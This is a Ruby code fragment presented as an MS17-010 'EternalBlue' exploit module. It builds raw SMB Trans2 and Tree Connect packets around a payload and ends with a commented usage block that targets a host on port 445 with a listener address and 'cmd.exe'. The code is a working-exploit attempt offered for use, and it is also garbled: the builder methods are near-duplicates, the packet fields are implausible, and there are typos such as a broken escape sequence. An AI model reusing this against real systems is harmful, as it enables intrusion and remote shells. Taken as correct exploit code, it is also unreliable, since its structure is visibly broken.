request << "\x00\x00\x00\x00" # Flags
request << "\x08\x00\x00\x00" # Negotiate request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # Padding
request << "\x00\x00" # Byte Count
request << payload
# Add transaction header
transaction = ''
transaction << "\x10\x00" # TranscationSize
transaction << "\x00\x00" # TotalDataCount
transaction << "\x04\x11" # FID
transaction << "\x00\x00" # PID
transaction << "\x00\x00" # UID
transaction << "\x00\x00" # MID
transaction << request
# Add tree connect and negotiate protocols
tree_connect = ''
tree_connect << "\x00\x00\x00\x4a" # length
tree_connect << "\xff\x53\x4d\x42" # SMB header
tree_connect << "\x75\x00\x00\x00" # SMB command: Tree Connect AndX
tree_connect << "\x00\x00\x00\x00" # NTLMSSP Signature
tree_connect << "\xff\xfe" # No Authentication
tree_connect << "\x00\x00" # Flags
tree_connect << "\x00\x00" # Flags2
tree_connect << "\x00\x00" # PID High
tree_connect << "\x00\x00\x00\x00" # Security Features
tree_connect << "\x00\x00\x00\x00" # Reserved
tree_connect << "\x00\x00" # Tree ID
tree_connect << "\xff\xfe" # Null UserID
tree_connect << "\x00\x00" # Multiplex ID
tree_connect << "\x4a\x00" # Byte Count
tree_connect << "\x5c\x5c\x69\x70\x63\x24\x00" # IPC$
tree_connect << "\x00" # Null byte
tree_connect << "SMB_COM_NEGOTIATE\xffSMB_COM_SESSION_SETUP_ANDX\xff" # Negotiate protocols
tree_connect << transaction
# Return the exploit request
tree_connect
end
def build_eternalblue_exploit_request(payload)
# Build the exploit request
request = ''
request << "\x00\x00\x00\x2c" # length
request << "\xff\x53\x4d\x42" # SMB header
request << "\x25\x00\x00\x00" # SMB command: Trans2
request << "\x00\x00\x00\x00" # NTLMSSP Signature
request << "\xff\xfe" # No Authentication
request << "\x00\x00" # Flags
request << "\x00\x00" # Flags2
request << "\x00\x00" # PID High
request << "\x00\x00\x00\x00" # Security Features
request << "\x00\x00\x00\x00" # Reserved
request << "\x00\x00\x00\x00" # Tree ID
request << "\xff\xfe" # Null UserID
request << "\x00\x00" # Multiplex ID
request << "\x2c\x00" # Byte Count
request << "\x00\x00" # Padding
request << "\x00\x00" # Padding
request << "\x00\x00" # Padding
request << "\x00\x00" # Padding
request << "\x00\x00\x00\x00" # PID
request << "\x00\x00\x00\x00" # UID
request << "\x00\x00\x00\x00" # MID
request << payload
# Add transaction header
transaction = ''
transaction << "\x10\x00" # TranscationSize
transaction << "\x00\x00" # TotalDataCount
transaction << "\x04\x11" # FID
transaction << "\x00\x00" # PID
transaction << "\x00\x00" # UID
transaction << "\x00\x00" # MID
transaction << request
# Add tree connect and negotiate protocols
tree_connect = ''
tree_connect << "\x00\x00\x00\x4a" # length
tree_connect << "\xff\x53\x4d\x42" # SMB header
tree_connect << "\x75\x00\x00\x00" # SMB command: Tree Connect AndX
tree_connect << "\x00\x00\x00\x00" # NTLMSSP Signature
tree_connect << "\xff\xfe" # No Authentication
tree_connect << "\x 00\x00" # Flags
tree_connect << "\x00\x00" # Flags2
tree_connect << "\x00\x00" # PID High
tree_connect << "\x00\x00\x00\x00" # Security Features
tree_connect << "\x00\x00\x00\x00" # Reserved
tree_connect << "\x00\x00" # Tree ID
tree_connect << "\xff\xfe" # Null UserID
tree_connect << "\x00\x00" # Multiplex ID
tree_connect << "\x4a\x00" # Byte Count
tree_connect << "\x5c\x5c\x69\x70\x63\x24\x00" # IPC$
tree_connect << "\x00" # Null byte
tree_connect << "SMB_COM_NEGOTIATE\xffSMB_COM_SESSION_SETUP_ANDX\xff" # Negotiate protocols
tree_connect << transaction
# Return the exploit request
tree_connect
end
end
# Usage:
#
# ms17_010 = Ms17_010.new(
# rhost: '192.168.1.100',
# rport: 445,
# lhost: '192.168.1.101',
# lport: 4444,
# method: 'auto',
# waittime: 5,
# processname: 'cmd.exe',
# force: true
# )
#
# case ms17_010.check
# when CheckCode::Safe
# print_error(ms17_010.result)
# when CheckCode::Vulnerable
# print_good(ms17_010.result)
# ms17_010.exploit
# else
# print_error('Unable to determine if target is vulnerable')
# print_error(ms17_010.result)
# end